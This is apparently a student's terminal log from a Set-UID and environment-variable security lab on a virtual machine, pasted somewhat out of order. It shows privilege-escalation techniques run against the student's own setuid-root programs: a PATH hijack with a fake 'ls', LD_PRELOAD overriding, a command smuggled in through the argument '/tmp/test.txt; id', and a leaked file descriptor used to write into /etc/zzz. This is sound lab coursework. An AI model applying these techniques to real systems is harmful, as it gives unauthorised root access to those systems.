

```
DISPLAY=:0
SHLVL=1
GSM_SKIP_SSH_AGENT_WORKAROUND=true
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
DEBUGINFOD_URLS=https://debuginfod.ubuntu.com
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/share/gnome:/usr/local/share/:/usr/share/:/
var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/us
r/local/games:/snap/bin:/snap/bin
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
_=/usr/bin/printenv
OLDPWD=/home/menmen/Desktop
menmen@menmen-VirtualBox:~/setuid_lab$ printenv PWD
/home/menmen/setuid_lab
menmen@menmen-VirtualBox:~/setuid_lab$ env | grep HOME
HOME=/home/menmen
menmen@menmen-VirtualBox:~/setuid_lab$ export MY_VAR="hello_seed"
printenv MY_VAR
hello_seed
menmen@menmen-VirtualBox:~/setuid_lab$ unset MY_VAR
printenv MY_VAR
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 1


```
menmen@menmen-VirtualBox: ~/setuid_lab
```

need to get 21.0 kB of archives.
After this operation, 59.4 kB of additional disk space will be used.
Get:1 http://us.archive.ubuntu.com/ubuntu noble/universe amd64 ncal amd64 12.1.8
[21.0 kB]
Fetched 21.0 kB in 0s (86.9 kB/s)
Selecting previously unselected package ncal.
(Reading database ... 198169 files and directories currently installed.)
Preparing to unpack .../archives/ncal_12.1.8_amd64.deb ...
Unpacking ncal (12.1.8) ...
Setting up ncal (12.1.8) ...
Processing triggers for man-db (2.12.0-4build2) ...
menmen@menmen-VirtualBox:~/Desktop\$ sudo apt install ncal
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
ncal is already the newest version (12.1.8).
The following package was automatically installed and is no longer required:
libllvm19
Use 'sudo apt autoremove' to remove it.
0 upgraded, 0 newly installed, 0 to remove and 21 not upgraded.
menmen@menmen-VirtualBox:~/Desktop\$ mkdir ~/setuid_lab
cd ~/setuid_lab
menmen@menmen-VirtualBox:~/setuid_lab\$ printenv
SHELL=/bin/bash
SESSION_MANAGER=local/menmen-VirtualBox:/tmp/.ICE-unix/2121-unix/menmen-Virtual

task 1

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;

void printenv()
{
    int i = 0;
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);
        i++;
    }
}
```

task 2

```
void main()
{
    pid_t childPid;
    switch(childPid = fork()) {
        case 0:
            printenv();
    }
```

[Read 26 lines]

G Help	^O Write Out	^W Where Is	^K Cut	^T Execute	^C Location
X Exit	^R Read File	^_ Replace	^U Paste	^J Justify	^/ Go To Line


```
menmen@menmen-VirtualBox:~/setuid_lab$ nano myprintenv.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc myprintenv.c -o myprintenv
./myprintenv > child_output.txt
menmen@menmen-VirtualBox:~/setuid_lab$ nano myprintenv.c
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 2

```
menmen@menmen-VirtualBox:~/setuid_lab$ nano myprintenv.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc myprintenv.c -o myprintenv2
./myprintenv2 > parent_output.txt
menmen@menmen-VirtualBox:~/setuid_lab$ diff child_output.txt parent_output.txt
49c49
< _=./myprintenv
---
> _=./myprintenv2
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 2

```
#include <unistd.h>
extern char **environ;

int main()
{
    char *argv[2];
    argv[0] = "/usr/bin/env";
    argv[1] = NULL;
    execve("/usr/bin/env", argv, NULL);
    return 0;
}
```

task 3

^G Help	^O Write Out	^W Where Is	^K Cut	^T Execute	^C Location
^X Exit	^R Read File	^_ Replace	^U Paste	^J Justify	^_ Go To Line

```
menmen@menmen-VirtualBox:~/setuid_lab$ gcc myprintenv.c -o myprintenv
./myprintenv > child_output.txt
menmen@menmen-VirtualBox:~/setuid_lab$ nano myprintenv.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc myprintenv.c -o myprintenv2
./myprintenv2 > parent_output.txt
menmen@menmen-VirtualBox:~/setuid_lab$ diff child_output.txt parent_output.txt
49c49
< _=./myprintenv
---
> _=./myprintenv2
menmen@menmen-VirtualBox:~/setuid_lab$ nano myenv.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc myenv.c -o myenv
./myenv
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 3


```
853cb
GNOME_SETUP_DISPLAY=:1
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=menmen
GNOME_TERMINAL_SERVICE=:1.103
CLUTTER_DISABLE_MIPMAPPED_TEXT=1
DISPLAY=:0
SHLVL=1
GSM_SKIP_SSH_AGENT_WORKAROUND=true
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
DEBUGINFOD_URLS=https://debuginfod.ubuntu.com
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/menmen/Desktop
_=./myenv2
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 3


```
_=./myenv2
menmen@menmen-VirtualBox:~/setuid_lab$ nano task4.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc task4.c -o task4
./task4
LESSOPEN=| /usr/bin/lesspipe %s
USER=menmen
XDG_SESSION_TYPE=wayland
CLUTTER_DISABLE_MIPMAPPED_TEXT=1
SHLVL=1
HOME=/home/menmen
OLDPWD=/home/menmen/Desktop
DESKTOP_SESSION=ubuntu
GNOME_SHELL_SESSION_MODE=ubuntu
GTK_MODULES=gail:atk-bridge
SYSTEMD_EXEC_PID=2167
GSM_SKIP_SSH_AGENT_WORKAROUND=true
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
COLORTERM=truecolor
DEBUGINFOD_URLS=https://debuginfod.ubuntu.com
IM_CONFIG_PHASE=1
```

task 4


```
p=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:
*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01
;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=
01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.f
lac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;
36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xsp
f=00;36:*.~=00;90:*.#=00;90:*.bak=00;90:*.crdownload=00;90:*.dpkg-dist=00;90:*.dpk
g-new=00;90:*.dpkg-old=00;90:*.dpkg-tmp=00;90:*.old=00;90:*.orig=00;90:*.part=00
;90:*.rej=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:*.swp=00;90:*.tmp
=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:
```

```
GNOME_TERMINAL_SERVICE=:1.103
```

```
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
```

```
SHELL=/bin/bash
```

```
QT_ACCESSIBILITY=1
```

```
GDMSESSION=ubuntu
```

```
LESSCLOSE=/usr/bin/lesspipe %s %s
```

```
QT_IM_MODULE=ibus
```

```
PWD=/home/menmen/setuid_lab
```

```
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
```

```
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/share/gnome:/usr/local/share/:/usr/share/:/
var/lib/snapd/desktop
```

```
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
```

```
VTE_VERSION=7600
```

```
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 4

VTE_VERSION=7600

menmen@menmen-VirtualBox:~/setuid_lab\$ nano foo.c

menmen@menmen-VirtualBox:~/setuid_lab\$ gcc foo.c -o foo

sudo chown root foo

sudo chmod 4755 foo

ls -la foo

[sudo] password for menmen:

-rwsr-xr-x 1 root menmen 16032 Apr 1 20:18 foo

menmen@menmen-VirtualBox:~/setuid_lab\$

task 5

```
FILE_VERSION 1.000
menmen@menmen-VirtualBox:~/setuid_lab$ nano foo.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc foo.c -o foo
sudo chown root foo
sudo chmod 4755 foo
ls -la foo
[sudo] password for menmen:
-rwsr-xr-x 1 root menmen 16032 Apr  1 20:18 foo
menmen@menmen-VirtualBox:~/setuid_lab$ export PATH=/tmp:$PATH
export LD_LIBRARY_PATH=/tmp/mylibs
export MY_SECRET="injected_by_user"
./foo | grep -E "^PATH=|^LD_LIBRARY_PATH=|^MY_SECRET="
MY_SECRET=injected_by_user
PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
:/usr/local/games:/snap/bin:/snap/bin
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 5


```
s:/usr/local/games:/snap/bin:/snap/bin
menmen@menmen-VirtualBox:~/setuid_lab$ sudo ln -sf /bin/zsh /bin/sh
ls -la /bin/sh
lrwxrwxrwx 1 root root 8 Apr  1 20:26 /bin/sh -> /bin/zsh
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 6

```
lrwxrwxrwx 1 root root 8 Apr  1 20:26 /bin/sh -> /bin/zsh
menmen@menmen-VirtualBox:~/setuid_lab$ nano task6.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc task6.c -o task6
sudo chown root task6
sudo chmod 4755 task6
menmen@menmen-VirtualBox:~/setuid_lab$ mkdir -p /tmp/fake_bin
nano /tmp/fake_bin/ls
menmen@menmen-VirtualBox:~/setuid_lab$ chmod 755 /tmp/fake_bin/ls
menmen@menmen-VirtualBox:~/setuid_lab$ export PATH=/tmp/fake_bin:$PATH
./task6
=== MALICIOUS ls EXECUTED ===
Running as: uid=1000(menmen) gid=1000(menmen) euid=0(root) groups=1000(menmen),4
(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 6


```
menmen@menmen-VirtualBox:~/setuid_lab$ nano mylib.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
menmen@menmen-VirtualBox:~/setuid_lab$ nano myprog.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc myprog.c -o myprog
export LD_PRELOAD=./libmylib.so.1.0.1
menmen@menmen-VirtualBox:~/setuid_lab$ ./myprog
I am not sleeping!
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 7

```
menmen@menmen-VirtualBox:~/setuid_lab$ nano catall.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc catall.c -o catall
sudo chown root catall
sudo chmod 4755 catall
menmen@menmen-VirtualBox:~/setuid_lab$ echo "hello world" > /tmp/test.txt
menmen@menmen-VirtualBox:~/setuid_lab$ ./catall /tmp/test.txt
hello world
menmen@menmen-VirtualBox:~/setuid_lab$ ./catall "/tmp/test.txt; id"
hello world
uid=1000(menmen) gid=1000(menmen) euid=0(root) groups=1000(menmen),4(adm),24(cdr
om),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 8

task 8

```
menmen@menmen-VirtualBox:~/setuid_lab$ nano catall.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc catall.c -o catall2
sudo chown root catall2
sudo chmod 4755 catall2
./catall2 "/tmp/test.txt; id"
catall.c: In function 'main':
catall.c:21:4: warning: implicit declaration of function 'execve' [-Wimplicit-fu
nction-declaration]
   21 |     execve(v[0], v, NULL);
      |     ^~~~~~
/bin/cat: '/tmp/test.txt; id': No such file or directory
```

```
menmen@menmen-VirtualBox:~/setuid_lab$ nano catal1.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc catal1.c -o catal12
sudo chown root catal12
sudo chmod 4755 catal12
./catal12 "/tmp/test.txt; id"
/bin/cat: '/tmp/test.txt; id': No such file or directory
```

task 8


```
menmen@menmen-VirtualBox:~/setuid_lab$ sudo touch /etc/zzz
sudo chmod 644 /etc/zzz
echo "This is a protected file" | sudo tee /etc/zzz
This is a protected file
menmen@menmen-VirtualBox:~/setuid_lab$ nano cap_leak.c
menmen@menmen-VirtualBox:~/setuid_lab$ gcc cap_leak.c -o cap_leak
sudo chown root cap_leak
sudo chmod 4755 cap_leak
menmen@menmen-VirtualBox:~/setuid_lab$ ./cap_leak
fd is 3
  echo "HACKED" >&3
  exit
menmen@menmen-VirtualBox:~/setuid_lab$ cat /etc/zzz
This is a protected file
HACKED
menmen@menmen-VirtualBox:~/setuid_lab$
```

task 9